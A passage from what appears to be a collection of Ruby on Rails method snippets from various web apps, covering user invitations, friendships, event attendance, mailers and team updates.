to the right; won't save becaues @user represents a User.new record here\n flash.now[:error] = \"You have previously registered on our site. Please follow the link below ('Already Registered on our Site?') and sign in. Click 'Reset Password' above if you haven't set a password yet.\" \n end \n if Practiceobject.find_by_token(@user.invite_token)\n @po = Practiceobject.find_by_token(@user.invite_token)\n if @user.email.blank?\n @user.email = @po.email\n end \n end # to re-render personalized invite info\n \n render action: 'new' #this is causing a problem: render 'new' wont' work bc the view requires the controller to set @po, but when coming from the \n # home page, we bypass setting @po. I think this is fixed now.\n # failed save attempt from 'new' form without an invite creates a problem b/c @po not set. fixed by redirect to root path in 'new' action \n end\n #respond_to do |format|\n # if @user.save\n # sign_in @user\n # format.html { redirect_to edit_user_path(@user), notice: 'Welcome to Namewaves.' }\n # format.json { render json: @user, status: :created, location: @user }\n # else\n # format.html { render action: \"new\" }\n #format.json { render json: @user.errors, status: :unprocessable_entity }\n # end\n #end\nend",
"def add_wings_and_take_off\nend",
"def get_users_added_interest \n\n users = self.adding_users \n\nend",
"def update_team_data # link to button on tools page\r\n task = FdTeam.new\r\n task.update_team_dst_data\r\n task.update_tlfl_team_data\r\n flash[:notice] = \"Team data updated.\"\r\n redirect_to commissioner_path\r\n end",
"def accept\n @user = current_user\n @friend = User.find(params[:friend_id])\n @friendship_approved = @user.approve(@friend)\n @friends = @user.friends\n @pending_invited_by = @user.pending_invited_by\n l = Log.new\n l.user_id_1 = @user.id\n l.user_id_2 = @friend.id\n name_1 = if @user.name.nil? then @user.email.split('@')[0] else @user.name end\n name_2 = if @friend.name.nil? then @friend.email.split('@')[0] else @friend.name end\n l.message = \"#{name_1.humanize} accepted friendship of #{name_2.humanize}\"\n l.loggingtype = 0\n l.save\n # Author: Omar\n #adding the notification to the database on accepting a friendship request\n UserNotification.create(owner:@friend.id , user:@user.id, story:nil , comment:nil , notify_type:2 , new:true)\n @friend.notifications = @friend.notifications.to_i + 1\n @friend.save\n flash[:freindship_accept] = \"You and #{name_2.humanize} are now friends $green\"\n \n @user.rank = @user.rank + 4\n @user.save\n @friend.rank = @friend.rank + 4\n @friend.save\n\n redirect_to action: 'pending'\n end",
"def team_users_popup\n @sum = 0\n @team = Team.find(params[:id])\n @assignment = Assignment.find(@team.parent_id)\n @team_users = TeamsUser.where(team_id: params[:id])\n\n # id2 is a response_map id\n unless params[:id2].nil?\n participant_id = ResponseMap.find(params[:id2]).reviewer_id\n @reviewer_id = Participant.find(participant_id).user_id\n # get the last response in each round from response_map id\n (1..@assignment.num_review_rounds).each do |round|\n response = Response.where(map_id: params[:id2], round: round).last\n instance_variable_set('@response_round_' + round.to_s, response)\n next if response.nil?\n instance_variable_set('@response_id_round_' + round.to_s, response.id)\n instance_variable_set('@scores_round_' + round.to_s, Answer.where(response_id: response.id))\n questionnaire = Response.find(response.id).questionnaire_by_answer(instance_variable_get('@scores_round_' + round.to_s).first)\n instance_variable_set('@max_score_round_' + round.to_s, questionnaire.max_question_score ||= 5)\n total_percentage = response.get_average_score\n total_percentage += '%' if total_percentage.is_a? Float\n instance_variable_set('@total_percentage_round_' + round.to_s, total_percentage)\n instance_variable_set('@sum_round_' + round.to_s, response.get_total_score)\n instance_variable_set('@total_possible_round_' + round.to_s, response.get_maximum_score)\n end\n end\n end",
"def create\n\t \t@ai = Admininvite.new\n\t @ai.recipient_email = params[:admininvite][:recipient_email]\n\t @ai.first_name = params[:admininvite][:first_name]\n\t @ai.last_name = params[:admininvite][:last_name]\n\t @ai.event_id = params[:admininvite][:event_id] \n\t @ai.admin_id = current_user.id\n\t @event = @ai.event #make sure this code works, even though @ai has not been saved to db yet - checked in rails console, seems fine\n\t\t\t \tif User.find_by_email(@ai.recipient_email)#email on @ai is that of an existing user\n\t\t\t \t\t u = User.find_by_email(@ai.recipient_email)\n\t\t\t \t\t if @event.adminkeys.find_by_user_id(u.id) #existing user is registered as an admin for this event - notice that user already registered as an admin for this event\n\t\t\t \t\t \t redirect_to @ai.event, notice: 'The person with this email address is already registered as an admin for this event.'\n\t\t\t \t\t else #existing user is not registered as an admin for this event - create adminkey for this user/event, \n\t\t\t \t\t \t # notice that 'person with at email is a registered user on our site, and is now an admin for this event, and has been notified'\n\t\t\t \t\t \t # send email that has been registered as an admin for this event\n\t\t\t \t\t \t # set admin to true for this existing user \n\t\t\t \t\t \t # try to give a PO for this user for this event, if doesn't already have one. \n\t\t\t \t\t \t @ai.user_id = u.id\n\t\t\t \t\t \t @ai.save #update the @ai with the user_id of the existing user, and save\n\t\t\t \t\t \t u.admin = true\n\t\t\t\t\t u.save #update the existing user to be an admin - !!!might want to wrap this/try this, to try to avoid an exception, there shouldn't be, except for the missing names in the DB issue \n\t\t\t \t\t \t \t@adminkey = Adminkey.new(event_id: @event.id, user_id: u.id)\n\t\t\t\t if @adminkey.save \n\t\t\t\t \tif !@event.practiceobjects.nil? && @event.practiceobjects.find_by_user_id(u.id) #check if PO exists for this event/user_id; if so..\n\t\t\t\t \t\t@to = @ai.recipient_email\n\t \t\t\t\t\t\t\tstartx\n\t\t\t\t \t\tAdminInviteMailer.admin_notify(@ai, root_url, @to).deliver \n\t\t\t\t\t \tredirect_to @ai.event, notice: 'The person at this email address is already registered on our site, is now registered as an admin for this event, and will be notified. '\n\t\t\t\t \telse # PO does not exist for this event/user_id\n\t\t\t\t \t\tif !@event.practiceobjects.nil? && @event.practiceobjects.find_by_email(u.email) #check if PO exists for this event/em entered (if, say, there's a floating PO for this event for this existing user)\n\t\t\t\t \t\t\t\t#anchor PO to that user_id, and default to user attributes (already convered case of already existing PO for this user_id/event)\n\t\t\t\t \t\t\t\t@event.practiceobjects.find_by_email(u.email).update_attributes(:user_id => u.id, :recording => u.recording, :phonetic => u.phonetic, :notes => u.notes)\n\t\t\t\t \t\t\t\t@to = @ai.recipient_email\n\t \t\t\t\t\t\t\t\t\tstartx\n\t\t\t\t \t\t\t\tAdminInviteMailer.admin_notify(@ai, root_url, @to).deliver \n\t\t\t\t\t \t\t\tredirect_to @ai.event, notice: 'The person at this email address is already registered on our site, is now registered as an admin for this event, and will be notified. '\n\t\t\t\t \t\telse #PO does not exist for this event/em entered\n\t\t\t\t \t\t\t#create a new PO, send notification \n\t\t\t\t \t\t\t@po = Practiceobject.new(:user_id => u.id, :event_id => @event.id, :email => u.email, :first_name => u.first_name, :last_name => u.last_name, :recording => u.recording, :notes => u.notes, :phonetic => u.phonetic)\n\t\t\t\t \t\t\tif @po.save #this should save - already checked if user u had a PO for this event\n\t\t\t\t\t \t\t\t@to = @ai.recipient_email\n\t \t\t\t\t\t\t\t\t\tstartx\n\t\t\t\t\t \t\t\tAdminInviteMailer.admin_notify(@ai, root_url, @to).deliver \n\t\t\t\t\t\t \t\tredirect_to @ai.event, notice: 'The person at this email address is already registered on our site, is now registered as an admin for this event, and will be notified. '\n\t\t\t\t\t\t \telse #should'nt happen, but just in case\n\t\t\t\t\t\t \t\t@to = @ai.recipient_email\n\t \t\t\t\t\t\t\t\t\tstartx\n\t\t\t\t\t\t \t\tAdminInviteMailer.admin_notify(@ai, root_url, @to).deliver \n\t\t\t\t\t \t\t\tredirect_to @ai.event, notice: 'The person at this email address is already registered on our site, is now registered as an admin for this event, and will be notified. '\n\t\t\t\t\t\t \tend \n\t\t\t\t \t\tend \n\t\t\t\t \tend \n\t\t\t\t \t\t#if event's customer has a master list, give the invited admin a master list adminkey\n\t\t\t\t \t\t# and forget about the PO nonsense above\n\t\t\t\t \t\tmake_master_admin(@event, u)\t\n\t\t\t\t else #only reason for adminkey not to save is if there's already an admin key for this user/event combo - a case we already covered, so this is throw-away I think- i.e., will never be a case\n\t\t\t\t \t redirect_to @ai.event, notice: 'The person at this email address is already registered as an admin for this event.'\n\t\t\t\t end \n\t\t\t\t \t \n\n\n\t\t\t \t\t end \n\t\t\t \telse #email on @ai is not that of existing user - execute original code\n\t\t\t \t\tif @ai.save \n\t\t\t\t \t#AdminInviteMailer.admin_invitation(@ai, new_user_url(:token => @practiceobject.token), @practiceobject).deliver \n\t\t\t\t \t@to = @ai.recipient_email\n\t \t\t\t\tstartx\n\t\t\t\t \tAdminInviteMailer.admin_invitation(@ai, adminsignup_url(:token => @ai.token), @to).deliver \n\t\t\t\t \tredirect_to @ai.event, notice: 'Admin has been invited for this event.'\n\t\t\t \t \telse\n\t\t\t\t \t \tredirect_to @ai.event, notice: 'Something went wrong - please make sure to enter valid email address'\n\t\t\t\t \t \t# see if we can use render here (how to do that?) and thereby get the validation errors\n\t\t\t \t\t end\n\t\t\t \tend \n\t\t \t\n\t end",
"def applicant_invite\n require 'date' # For DateTime.new\n \n # Create Date time value\n date = params[:applicant].values\n meeting_time = DateTime.new(date[0].to_i, date[1].to_i, date[2].to_i, date[3].to_i, date[4].to_i, 0)\n \n @applicant = Applicant.find_by(id: params[:id])\n recruiter = @applicant.recruiter\n \n # Save meeting time\n params = ActionController::Parameters.new({\n applicant: {\n meeting: meeting_time\n }\n })\n @applicant.update(applicant_params(params))\n \n \n # Send emails\n UserMailer.with(applicant: @applicant, recruiter: recruiter, meeting_time: meeting_time).applicant_meeting_email.deliver_now\n UserMailer.with(applicant: @applicant, recruiter: recruiter, meeting_time: meeting_time).recruiter_meeting_email.deliver_now\n \n # Make calendar invitations.\n redirect_to new_interview_url(@applicant.id)\n\n #redirect_to \"/applicants/#{@applicant[:id]}\"\n end",
"def attach_meet_details(user, meets0, cirkles0, encounters0, before_time, after_time)\n meet_ids = meets0.collect {|v| v.id}.to_set\n meets0 = meets0.index_by(&:id)\n mposts0 = Mpost.select([:user_id,:meet_id,:created_at])\n .where(\"meet_id IN (?) AND status = ?\", meet_ids, 0)\n chatters0 = Chatter.where(\"meet_id IN (?)\", meet_ids)\n user_ids = mposts0.collect {|v| v.user_id}.concat(chatters0 .collect {|v| v.user_id}).uniq.compact\n users0 = find_users(user_ids).index_by(&:id)\n\n meets_mposts = {}\n mposts0.each {|mpost|\n meet = meets0[mpost.meet_id]\n (meets_mposts[meet] ||= Array.new) << mpost\n }\n meets_mposts.each_pair {|meet, meet_mposts|\n meet.loaded_users = meet_mposts.collect {|v| users0[v.user_id]}.uniq.compact\n meet.is_new_encounter = meet.is_encounter? &&\n ((!after_time && !before_time) ||\n is_between_time?(meet.created_at, after_time, before_time))\n new_user_ids = Set.new\n if meet.is_new_encounter # marked new users for new encounters/new cirkles\n if meet.is_cirkle?\n new_user_ids = meet_mposts.select {|v|\n (!after_time && !before_time) &&\n is_between_time?(v.created_at, after_time, before_time)\n }.collect {|v| v.user_id}.compact.to_set\n elsif meet.cirkle_id\n meet_mposts.each {|meet_mpost|\n next unless meet_mpost.user_id\n cirkle_mposts = mposts0.select {|v| v.meet_id == meet.cirkle_id && v.user_id == meet_mpost.user_id}\n # The user is new if its correspondent cirkle mpost is created after her encounter's mpost\n new_user_ids << meet_mpost.user_id if (cirkle_mposts.all? {|v| meet_mpost.created_at <= v.created_at})\n }\n end\n end\n meet.new_user_ids = new_user_ids\n meet.loaded_topics = []\n meet.new_topic_ids = Set.new\n }\n cache_chatters(chatters0)\n chatters0 = chatters0.group_by(&:meet_id)\n chatters0.each_pair {|meet_id, meet_chatters|\n meet = meets0[meet_id]\n meet_chatters.each {|chatter| chatter.loaded_user = users0[chatter.user_id]}\n meet_topics = meet_chatters.select {|v| v.topic?}.index_by(&:id)\n meet_chatters = meet_chatters.group_by(&:topic_id)\n meet_chatters.each_pair {|topic_id, topic_chatters|\n new_chatters = topic_chatters.select {|v|\n is_between_time?(v.updated_at, after_time, before_time)\n }\n if topic_id.nil?\n meet.loaded_topics = topic_chatters\n meet.new_topic_ids = new_chatters.collect {|v| v.id}.to_set\n else\n topic = meet_topics[topic_id] \n topic.loaded_comments = topic_chatters\n topic.new_comment_ids = new_chatters.collect {|v| v.id}.to_set\n end\n }\n }\n end",
"def subject_for_recommand_friends_stage_1(invited_user)\n return \"#{@referrer.name} vous invite à créer votre profil sur CoursAvenue\"\n end",
"def power_bonus(att_id)\n\t\t\t@cid = att_id\n\t\t\tpb = Rollem.new\n\t\t\t@att_bonus = pb.rollspread(19,23)\n\t#\t\tputs \" #{@gladiator[@cid]} for slot #{@att_bonus} has an attack bonus of #{@stat[@cid][@att_bonus]} a #{@stat_name[@cid][@att_bonus]} \"\t\n\t\t\tputs \" \"\n\t\tend",
"def event_attendence\n @event = Event.find(params[:event_id])\n @e = @event.member_attending_event_registers.build(:user_id => current_user.id, :event_id => \"#{@event.id}\",:owner_id => \"#{@event.user_id}\" )\n\n respond_to do |format|\n if @e.save\n @total_attendence = MemberAttendingEventRegister.find(\"#{@e.id}\").event.update_attributes(:no_of_guests_attending => (@event.no_of_guests_attending)+1)\n format.html { redirect_to(@event, :notice => 'Request has been sent to the event owner.') }\n format.xml { head :ok }\n else\n format.html { redirect_to(events_path, :notice => 'Something has gone wrong , please try again.') }\n format.xml { render :xml => @event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def invite_user(param)\n email_addresses.set param[:email]\n is_owner.set(true) if param[:owner] == 'true'\n unless nil_or_empty?(param[:apps])\n param[:apps].each_with_index do |item, index|\n app_drop_down.select item\n role_drop_down.select param[:roles][index] if param[:roles]\n site_drop_down.select param[:sites][index] if param[:sites]\n add_new_app.click\n end\n end\n invite_button.click\n end",
"def send_final_exam_invitation!\n update_attribute(:final_exam_invitation_sent_at, Time.now)\n end",
"def add_user_to_marketing_list(user)\n gv_free_5_alerts_plan_list = 'a8c9d4b3b1'\n location = user.locations.last\n \n merge_vars = {\n 'FNAME' => user.first_name,\n 'LNAME' => user.last_name,\n 'PHONE' => user.phone_number,\n 'COMPANY' => location.name,\n 'WEBSITE' => location.website,\n 'ADDRESS' => [:addr1 => location.street_address, \n :addr2 => location.address_line_2, \n :city => location.city, \n :zip => location.zip ]\n }\n double_optin = false\n response = Mailchimp::API.listSubscribe({:id => gv_free_5_alerts_plan_list,\n :email_address => user.email, :merge_vars => merge_vars,\n :double_optin => double_optin})\n rescue => e\n puts \"Error from Mailchimp\"\n puts e.message\n end",
"def invite_facebook_friends\n end",
"def update_attendance\n unless params[:attendees_ids].blank?\n EventAttendee.update_event_invitee_presence(params[:event_id],params[:attendees_ids])\n EventAttendee.update_event_invitee_absence(params[:event_id],params[:attendees_ids])\n else\n EventAttendee.update_all_event_invitee_absence(params[:event_id])\n end\n flash[:notice] = \"The attendance of the members for the Event '#{params[:event_name]}' has been updated successfully.\"\n redirect_to \"/events/attendees_list?event_id=#{params[:event_id]}\"\n end",
"def edit\n @user = current_user\n @meetup = Meetup.find_by(id: params[:id])\n if (@meetup.primary != @user) then\n @meetup.friend = @meetup.primary\n @meetup.primary = @user\n end\n @meetup.save\n end",
"def update_team\n \n end",
"def proposal_to_a_board_members\n @inv = Invitation.find params[:inv]\n @acc = Accept.find params[:acc]\n\n @summary = []\n @summary << \"L'evento\"\n @summary << \", organizzato da #{@inv.organizer},\" unless @inv.organizer.blank?\n @summary << \" avrà luogo\"\n @summary << \" a #{@inv.location}\" unless @inv.location.blank?\n @summary << \" in data #{I18n.localize(@inv.from_date_and_time.to_date, format: :long_w_weekday)}\" if @inv.from_date_and_time\n @summary << \" e\" if !@inv.location.blank? || @inv.from_date_and_time\n @summary << \" avrà per tema '#{@inv.title}'.\"\n @summary = @summary.join\n # @url =\n @preheader = \"Proposta di partecipazione ad un evento in rappresentanza di ARERA\"\n\n user = Rails.env==\"development\" ? User.find_by(username: ENV[\"test_username\"]) : @acc.user\n\n Sidekiq::Logging.logger.info \"Sending an email 'Proposta di incarico' to #{user.display_name} [#{user.email}]\"\n mail(to: user.email, subject: 'Proposta di incarico')\n\n end",
"def fAddPunter (name, email, pwd)\n @users.addPunter(name,email,pwd)\n end",
"def update\n @homework = Homework.find(params[:id])\n @homework.deadline = @homework.deadline + 4.hours\n\n respond_to do |format|\n if @homework.update_attributes(params[:homework])\n\t params[:invitados].split(';').each do |g|\n\t\t\tif(!User.exists?(:email => g.delete(' ')))\n\t\t\t\t@user = User.new\n\t\t\t\t@user.email = g.delete(' ')\n\t\t\t\t@user.name = \"Firstname\"\n\t\t\t\t@user.lastname = \"Lastname\"\n\t\t\t\t@user.admin = false\n\t\t\t\t@user.salt = SecureRandom.hex\n\t\t\t\t@user.hash_password = SecureRandom.hex\n\t\t\t\t@user.deleted = 0\n\t\t\t\t@user.save\n\t\t\t\t\t\n\t\t\t\t@hu = HomeworkUser.new\n\t\t\t\t@hu.user_id = @user.id\n\t\t\t\t@hu.homework_id = @homework.id\n\t\t\t\t@hu.save\n\t\t\t\t\t\t\n\t\t\t\tbegin\n\t\t\t\t\tUserMailer.first_invitation_email(@homework, @user).deliver\n\t\t\t\trescue\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t@user = User.find_by_email(g.delete(' '))\n\t\t\t\t@hu = HomeworkUser.new\n\t\t\t\t@hu.user_id = @user.id\n\t\t\t\t@hu.homework_id = @homework.id\n\t\t\t\t@hu.save\n\t\t\t\tbegin\n\t\t\t\t\tUserMailer.invitation_email(@homework, @user).deliver\n\t\t\t\trescue\n\t\t\t\tend\n\t\t\tend\n\t\tend\n format.html { redirect_to @homework, notice: 'Homework was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @homework.errors, status: :unprocessable_entity }\n end\n end\n end",
"def survey_clicked\n @user = self.current_user \n @profile = @user.profile\n @profile.survey_clicked = true\n @profile.survey_clicked_date = DateTime.now\n @profile.save\n render :text=>\"\" \n end",
"def access_update\n matter_people = @matter.matter_peoples.find(params[:id])\n if params[:grant_access].eql?(\"true\")\n edate = nil\n else\n edate = Time.zone.now.to_date # - 1.day # Expire the matter people's role.\n end\n matter_people.update_attribute(:end_date, edate)\n render :text => \"#{matter_people.start_date} - #{matter_people.end_date}\"\n end",
"def attended?(user)\n self.attendees.include?(user)\n # self.users.map{|user| user.id }.include?(user_id)\n end",
"def execute_script_activity user, edit_summary\n raise \"You must assign a user.\" unless user\n raise \"You must include an edit summary.\" unless edit_summary\n\n create!(trackable: nil, event: Activity::EXECUTE_SCRIPT, user: user, edit_summary: edit_summary)\n end",
"def fb_invite(uid)\n \tuser = current_user.fbpost(uid)\n user.feed!(\n :message => \"Hej, zapraszam Cię na Najsu.pl - dołącz do moich znajomych i zobacz co oglądam!\", \n :link => \"www.najsu.pl\", \n :name => \"Najsu.pl\", \n :description => \"Odkrywaj najciekawsze filmiki w sieci, na świecie i wśród znajomych, udostępniaj swoje znaleziska!\", \n :picture => \"http://www.najsu.pl/assets/faviconBig.png\"\n )\n end",
"def after_invite_new_user(invite)\n end",
"def addUserFeedback user \n feedback = user.feedback.select{ |f| f.choice == self }.first\n unless feedback.nil?\n option = self.options.select{|o| o.id == feedback.option_id }.first\n option[:feedbacks].push( feedback ) if option[:feedbacks].select{ |f| f == feedback }.first.nil? && !option.nil?\n end\n end",
"def addUserFeedback user \n feedback = user.feedback.select{ |f| f.choice == self }.first\n unless feedback.nil?\n option = self.options.select{|o| o.id == feedback.option_id }.first\n option[:feedbacks].push( feedback ) if option[:feedbacks].select{ |f| f == feedback }.first.nil? && !option.nil?\n end\n end",
"def join\n @event = Event.find(params[:event_id])\n @e = @event.user_to_events.build(:user_id => current_user.id,\n :event_id => \"#{@event.id}\",\n :owner_id => \"#{@event.user_id}\" )\n\n respond_to do |format|\n if @e.save\n @total_attendence = UserToEvent.find(\"#{@e.id}\").event.update_attributes(:no_of_guests_attending => (@event.no_of_guests_attending)+1)\n format.html { redirect_to(@event, :notice => 'Request has been sent to the meal owner.') }\n format.xml { head :ok }\n else\n format.html { redirect_to(event_path(@event), :notice => 'Something has gone wrong , please try again.') }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n meeting = Meeting.find(@attending.meeting_id)\n notification_text = \"#{current_user.first_name} #{current_user.last_name} has accepted your invite to #{meeting.description}.\"\n Notification.create(user_id: meeting.organiser_id, message: notification_text)\n @attending.update(confirmed: true)\n redirect_to meetings_path\n end",
"def tracker_invite(user)\n\n\n to_list = user.email\n cc_list = []\n subject = \"Your login information for the PCB Design Tracker\"\n\n @reviewer = user\n\n mail( :to => to_list,\n :subject => subject,\n :cc => cc_list\n )\n\n end",
"def shown_invite_friends!\n update_column(:invited_friends_at, Time.current)\n end",
"def add_extension\n if params[:user_id] && student = User.find(params[:user_id]) && workoutoffering = WorkoutOffering.find(params[:workout_offering_id])\n if params[:soft_deadline] && params[:hard_deadline]\n normalized_hard_deadline = params[:hard_deadline]\n normalized_soft_deadline = params[:soft_deadline]\n extension = StudentExtension.new(user: student, workout_offering: workoutoffering,\n hard_deadline: normalized_hard_deadline, soft_deadline: normalized_soft_deadline)\n if extension.save\n redirect_to root_path, notice: 'Extension success'\n else\n redirect_to root_path, notice: 'Failed to create extension'\n end\n else\n redirect_to root_path, notice: 'Both deadlines need to be specified' and return\n end\n else\n redirect_to root_path, notice: 'User not found' and return\n end\n end",
"def ref_update(user)\n send_as :ref\n from user\n fbml render(:action=>\"/users/profile\",:assigns=>{:user=>user_to_update})\n handle \"a_ref_handle\"\n end",
"def attendance_report_by_users\r\n range = @when_start.beginning_of_day .. @when_end.end_of_day\r\n activity = Activity.get_activity 'submit questionnaire_answer'\r\n\r\n result = []\r\n\r\n if @users_group_id != 0\r\n # :include => [:user, {:user => :activities}]\r\n userlist = UserList.where(:users_group_id => @users_group_id).includes([:user, {:user => :activities}])\r\n userlist.all().each { |ul|\r\n unless ul.user.nil?\r\n ul.user.first_name = ul.first_name\r\n ul.user.last_name = ul.last_name\r\n user = ul.user\r\n has_user = true\r\n else\r\n user = ul\r\n has_user = false\r\n end\r\n result << fill_in_months_4user(user, range, activity.id, has_user)\r\n }\r\n else\r\n # All users\r\n User.all(:include => :user_activities).each { |user|\r\n result << fill_in_months_4user(user, range, activity.id)\r\n }\r\n end\r\n\r\n result.sort_by { |u|\r\n [\r\n order_by_total == 1 ? 100-u.total_attended : u.status,\r\n u.status,\r\n u.user[:last_name] ? u.user[:last_name] : '',\r\n u.user[:first_name] ? u.user[:first_name] : '',\r\n u.user[:email] ? u.user[:email] : '',\r\n 100-u.total_attended,\r\n ]\r\n }\r\n end",
"def levelup\n # update team.sport_level_id\n team = Team.find_by_user1(current_user.id)\n sport_level = SportLevel.first(:conditions => ['id > ?', team.sport_level_id], :order => 'id ASC')\n team.update_attribute(:sport_level_id, sport_level.id)\n\n # save user_point\n user_point = UserPoint.new\n user_point.add_point(current_user.id, 50000, 'event')\n \n # save team_point \n team_point = TeamPoint.new\n team = Team.find_by_user1(current_user.id)\n team_point.add_point(team.id, 100000)\n\n redirect_to '/teams/home'\n end",
"def invite\n @meal = Meal.find(params[:meal_id])\n authorize @meal, :update?\n @user = if params[:user_id]\n User.find(params[:user_id])\n else\n User.find_by(name: params[:user_name])\n end\n @meal.invite_user @user\n redirect_to @meal\n end",
"def update\n @talk = Talk.find(params[:id])\n @new_user = User.find_by_email(params[:talk][:new_user])\n\n\n respond_to do |format|\n if @talk.update_attributes(params[:talk], :as => (admin? || @talk.user == current_user) ? :admin : :default)\n # Change to be set on e-mail request insted of directly from edit form\n if @new_user\n @talk.users << @new_user\n @talk.save\n end\n\n format.html { redirect_to :back, notice: \"Talk was successfully updated.\" }\n format.json { head :no_content }\n format.js {\n render \"update\",\n :locals => {\n :id => params[:id],\n :talk => @talk\n }\n }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @talk.errors, status: :unprocessable_entity, notice: 'Failed' }\n end\n end\n end",
"def select_user\n authorize_only (:patient) {params[:useredit] == @user.wedgetail} # everyone can only edit themselves\n authorize :admin # apart from admin\n @useredit=User.find_by_wedgetail(params[:useredit])\n @listname=\"greylist\"\n @listname=\"blacklist\" if @useredit.access==2\n @listname=\"whitelist\" if @useredit.access==3\n @choice=User.find_by_wedgetail(params[:wedgetail])\n @ok=Firewall.find(:all,:conditions=>[\"patient_wedgetail=? and user_wedgetail=?\",params[:useredit],params[:wedgetail]])\n if @ok.size>0\n # remove selected\n Firewall.delete_all([\"patient_wedgetail=? and user_wedgetail=?\",params[:useredit],params[:wedgetail]])\n @new_term=\"Add\"\n @choice_name=@choice.family_name_given_names\n else\n # add seleted\n @ok=Firewall.new\n @ok.user_wedgetail=params[:wedgetail]\n @ok.patient_wedgetail=params[:useredit]\n @ok.save\n @new_term=\"Remove\"\n @choice_name=\"<font color='red'>\"+ @choice.family_name_given_names + \"</font>\"\n end\n \n @currentlist=User.find(:all,:conditions=>[\"firewalls.patient_wedgetail='#{@useredit.wedgetail}'\"],:joins=>\"inner join firewalls on users.wedgetail=firewalls.user_wedgetail\")\n \n render :update do |page|\n #page.replace_html \"old_wedge_\"+params[:wedgetail],new_wedgetail\n page.replace_html(\"command_\"+params[:wedgetail],link_to_remote(@new_term, :url => {:action => \"select_user\",:wedgetail=> params[:wedgetail],:useredit=>params[:useredit]}))\n page.replace_html(\"name_\"+params[:wedgetail],@choice_name)\n page.replace_html(\"greylist\",render(:partial => \"firewall_current\"))\n end\n end",
"def activity_update(email, time, user_activity )\n # @actor = user_activity.extract_object(:actor)\n # @subject_object = user_activity.extract_object(:subject)\n # \n # @secondary_subject = user_activity.extract_object(:secondary_subject)\n # @event_type = user_activity.event_type\n # @project\n extract_params(user_activity) \n @user_activity = user_activity\n \n mail( :to => email, \n :subject => \"piliPoto | Activity Update: #{time}\", \n :bcc => [\"rajakuraemas@gmail.com\"] )\n \n user_activity.mark_notification_sent \n end",
"def create\n @vteam = Vteam.new(params[:vteam])\n @vteam.user = current_user\n #@attach = @vteam.attaches.new(params[:vteam][:attach])\n #@attach.save\n respond_to do |format|\n if @vteam.save\n if params[:opportunity]==\"create_opportunity\"\n format.html { redirect_to(new_vteam_opportunity_url(@vteam), :notice => 'Vteam was successfully created.') }\n else\n format.html { redirect_to(@vteam, :notice => 'Vteam was successfully created.') }\n end\n format.xml { render :xml => @vteam, :status => :created, :location => @vteam }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @vteam.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def invite(user)\n participation = @tandem.participations.create(\n user:user,\n token: generate_token\n )\n\n send_invitation_mail participation\n true\n end",
"def record_user_activity\n current_user.touch :last_active_at if current_user\n end",
"def edit_tracker_usecase\n @user=find_user\n if @user.nil?\n status=@use_case.status\n if ((status!=\"Approved\" and params[:use_case][:status]==\"Approved\" and (@user.privilige==\"Admin\" or @user.privilige==\"Read/Write/Approve\" or @user.privilige==\"Approve\")) or (status!=\"Approved\" and params[:use_case][:status]!=\"Approved\" and (@user.privilige!=\"Read\")) or (status==\"Approved\" and @user.privilige==\"Admin\")or (status==\"Approved\" and params[:use_case][:status]==\"Approved\" and !params[:use_case][:delivered].empty? and @user.privilige!=\"Read\"))\n @use_case.update_attributes(params[:use_case])\n\n if !params[:use_case][:status].nil?\n if (status!=\"Approved\" and params[:use_case][:status]==\"Approved\")\n\n if !current_user.nil?\n first_name=@use_case.find_user_first_name(current_user.id)\n UseCase.notification_approved(current_user.id, @use_case.project_id, @use_case, first_name)\n else\n first_name=@use_case.find_member_first_name(@user.id)\n UseCase.notification_approved(@user.user_id, @use_case.project_id, @use_case, first_name)\n end\n elsif (status!=\"For Review\" and params[:use_case][:status]==\"For Review\")\n\n if !current_user.nil?\n first_name=@use_case.find_user_first_name(current_user.id)\n UseCase.notification_reviewed(current_user.id, @use_case.project_id, @use_case, first_name)\n else\n first_name=@use_case.find_member_first_name(@user.id)\n UseCase.notification_reviewed(@user.user_id, @use_case.project_id, @use_case, first_name)\n end\n elsif (status==\"Approved\" and params[:use_case][:status]!=\"Approved\")\n\n if !current_user.nil?\n first_name=@use_case.find_user_first_name(current_user.id)\n UseCase.notification_no_approved(current_user.id, @use_case.project_id, @use_case, first_name)\n else\n first_name=@use_case.find_member_first_name(@user.id)\n UseCase.notification_no_approved(@user.user_id, @use_case.project_id, @use_case, first_name)\n end\n end\n end\n respond_to do |format|\n @attr=Attribute.find_by_project_id(session[:project_id])\n if !session[:tracker_id].nil?\n @tracker=Tracker.find(session[:tracker_id])\n format.html { redirect_to show_tracker_use_url(@tracker.id) }\n else\n format.html { redirect_to trackers_path }\n end\n end\n\n else\n @attr=Attribute.find_by_project_id(session[:project_id])\n flash[:notice]= t(:use_case_no_approve)\n redirect_to :back\n end\n else\n redirect_to sign_in_url\n end\n end",
"def el_save\n @cur_tl_op = params[:cur_op]\n # @timeline = Timeline.find(params[:id]) (done in load_and_authorize_resource)\n event_list_str = params[:event_list]\n @timeline.events = event_list_str\n if @timeline.save()\n ##\n ## Get events in time-sorted order if this is event-addition to timeline\n ##\n if !@cur_tl_op.nil? && @cur_tl_op == \"add_evt\"\n event_id_str = @timeline.events\n id_array = [] #empty array\n if not event_id_str.nil?\n id_array = event_id_str.split(\",\").map { |s| s.to_i }\n @fetchedevents = get_events_from_id_array(id_array)\n if !@fetchedevents.nil? && @fetchedevents.length > 0\n #@fetchedevents.each { |each_event| each_event.importance = 3 }\n @fetchedevents.sort!{ |a,b| a.jd <=> b.jd }\n end\n end\n end\n ##\n \n render :template => \"timelines/el_save\", :formats => [:js], :handlers => :haml\n else\n # TBD: I guess we should do something here\n end\n end",
"def updated_suspend\n if teacher_is_super(@teacher)\n flash[ :danger] = \"You can't suspend the super user!\"\n render 'editd'\n else\n @teacher.suspended = true\n if @teacher.save\n msg = \"Teacher \" << @teacher.full_name << \", login SUSPENDED!\"\n flash[ :success] = msg\n redirect_to edit_teacher_path(@teacher)\n else\n render 'editd'\n end\n end\n end",
"def user_profile_edit\n\n\n end",
"def run_after_add(attendance)\n puts 'after adding attendance'\n end",
